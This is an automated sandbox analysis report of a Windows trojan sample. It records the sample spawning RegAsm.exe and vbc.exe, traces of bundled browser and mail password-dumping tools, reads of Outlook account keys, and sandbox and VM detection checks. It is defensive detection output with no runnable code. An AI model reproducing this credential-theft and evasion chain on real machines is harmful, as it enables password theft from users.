Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBCAF.tmp
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBBC1.tmp
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBCAF.tmp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBBC1.tmp	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\78ede25b-fb90-6791-1ca9-e1fd644b6d85

Jump to behavior

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@7/3@0/0

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 3_2_00418073 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,

3_2_00418073

Source: vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void Microsoft.Win32.RegistryKey::SetAccessControl(System.Security.AccessControl.RegistrySecurity)
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Security.Principal.IdentityReference System.Security.Principal.SecurityIdentifier::Translate(System.Type)
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void System.Security.AccessControl.RegistrySecurity::AddAccessRule(System.Security.AccessControl.RegistryAccessRule)
Source: 1.0.RegAsm.exe.400000.1.unpack, u200b????????????????????????????????????????.cs	Security API names: System.Void System.IO.DirectoryInfo::SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u200b????????????????????????????????????????.cs	Security API names: System.Void System.IO.DirectoryInfo::SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 1.0.RegAsm.exe.400000.0.unpack, u200b????????????????????????????????????????.cs	Security API names: System.Void System.IO.DirectoryInfo::SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 1.0.RegAsm.exe.400000.1.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.0.RegAsm.exe.400000.1.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.0.RegAsm.exe.400000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void Microsoft.Win32.RegistryKey::SetAccessControl(System.Security.AccessControl.RegistrySecurity)
Source: 1.0.RegAsm.exe.400000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Security.Principal.IdentityReference System.Security.Principal.SecurityIdentifier::Translate(System.Type)
Source: 1.0.RegAsm.exe.400000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void System.Security.AccessControl.RegistrySecurity::AddAccessRule(System.Security.AccessControl.RegistryAccessRule)
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.RegAsm.exe.400000.0.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.2.RegAsm.exe.400000.0.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.RegAsm.exe.400000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void Microsoft.Win32.RegistryKey::SetAccessControl(System.Security.AccessControl.RegistrySecurity)
Source: 1.2.RegAsm.exe.400000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Security.Principal.IdentityReference System.Security.Principal.SecurityIdentifier::Translate(System.Type)
Source: 1.2.RegAsm.exe.400000.0.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void System.Security.AccessControl.RegistrySecurity::AddAccessRule(System.Security.AccessControl.RegistryAccessRule)
Source: 1.0.RegAsm.exe.400000.0.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.0.RegAsm.exe.400000.0.unpack, u200d????????????????????????????????????????.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.RegAsm.exe.400000.0.unpack, u200b????????????????????????????????????????.cs	Security API names: System.Void System.IO.DirectoryInfo::SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 1.0.RegAsm.exe.400000.1.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void Microsoft.Win32.RegistryKey::SetAccessControl(System.Security.AccessControl.RegistrySecurity)
Source: 1.0.RegAsm.exe.400000.1.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Security.Principal.IdentityReference System.Security.Principal.SecurityIdentifier::Translate(System.Type)
Source: 1.0.RegAsm.exe.400000.1.unpack, u202a????????????????????????????????????????.cs	Security API names: System.Void System.Security.AccessControl.RegistrySecurity::AddAccessRule(System.Security.AccessControl.RegistryAccessRule)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D6A2D5 GetLastError,FormatMessageW,

0_2_00D6A2D5

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D63E91 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00D63E91

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Mutant created: \Sessions\1\BaseNamedObjects\AppVStreamingUX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\2abee00b-b3e0-47a1-983b-d279e54487e7

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 3_2_004141E0 FindResourceW,SizeofResource,LoadResource,LockResource,

3_2_004141E0

Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u206b????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.0.RegAsm.exe.400000.0.unpack, u206b????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.0.RegAsm.exe.400000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.0.RegAsm.exe.400000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.0.RegAsm.exe.400000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.RegAsm.exe.400000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.RegAsm.exe.400000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.RegAsm.exe.400000.0.unpack, u202d????????????????????????????????????????.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static file information: File size 2135040 > 1048576

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x13ee00

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: c:\Projects\VS2005\WebBrowserPassView\Command-Line\WebBrowserPassView.pdb source: RegAsm.exe, 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.516610948.0000000003292000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, vbc.exe, vbc.exe, 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp
Source:	Binary string: c:\Projects\VS2005\mailpv\Command-Line\mailpv.pdb source: RegAsm.exe, 00000001.00000002.519365892.0000000006D51000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, RegAsm.exe, 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, RegAsm.exe, 00000001.00000002.518219732.00000000033CE000.00000004.00000001.sdmp, vbc.exe, vbc.exe, 00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp, vbc.exe, 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D28B85 push ecx; ret	0_2_00D28B98
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_01289127 push ebp; retf	1_2_0128913D
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E62FA5 push ss; retf	1_2_02E62FA6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E62F1C push ss; retf	1_2_02E62F1D
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00444975 push ecx; ret	3_2_00444985
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00444B90 push eax; ret	3_2_00444BA4
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00444B90 push eax; ret	3_2_00444BCC
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00448E74 push eax; ret	3_2_00448E81
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0042CF44 push ebx; retf 0042h	3_2_0042CF49
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00412341 push ecx; ret	19_2_00412351
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00412360 push eax; ret	19_2_00412374
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00412360 push eax; ret	19_2_0041239C

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D04C95 LoadLibraryA,GetProcAddress,

0_2_00D04C95

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static PE information: real checksum: 0xf519f should be: 0x214037

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D04A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00D04A35

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 3_2_00443A61 memset,wcscpy,memset,wcscpy,wcscat,wcscpy,wcscat,wcscpy,wcscat,GetModuleHandleW,LoadLibraryExW,LoadLibraryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00443A61

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe, 00000001.00000002.516249428.00000000031E3000.00000004.00000001.sdmp	Binary or memory string: WIRESHARK.EXE

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT MacAddress FROM Win32_NetworkAdapterConfiguration

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 5784	Thread sleep count: 206 > 30			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 5784	Thread sleep time: -206000s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 3_2_0040978A memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,

3_2_0040978A

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT ProcessorId FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D04AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00D04AFE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0040938F FindFirstFileW,FindNextFileW,wcslen,wcslen,	3_2_0040938F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00408CAC FindFirstFileW,FindNextFileW,FindClose,	3_2_00408CAC
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_0040702D FindFirstFileA,FindNextFileA,strlen,strlen,	19_2_0040702D

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D35CCC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00D35CCC

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

3_2_0040978A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

0_2_00D35CCC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Code function: 0_2_00D04C95 LoadLibraryA,GetProcAddress,

0_2_00D04C95

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_3_00CF00BE mov esi, dword ptr fs:[00000030h]		0_3_00CF00BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_3_00CF00BE mov esi, dword ptr fs:[00000030h]		0_3_00CF00BE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

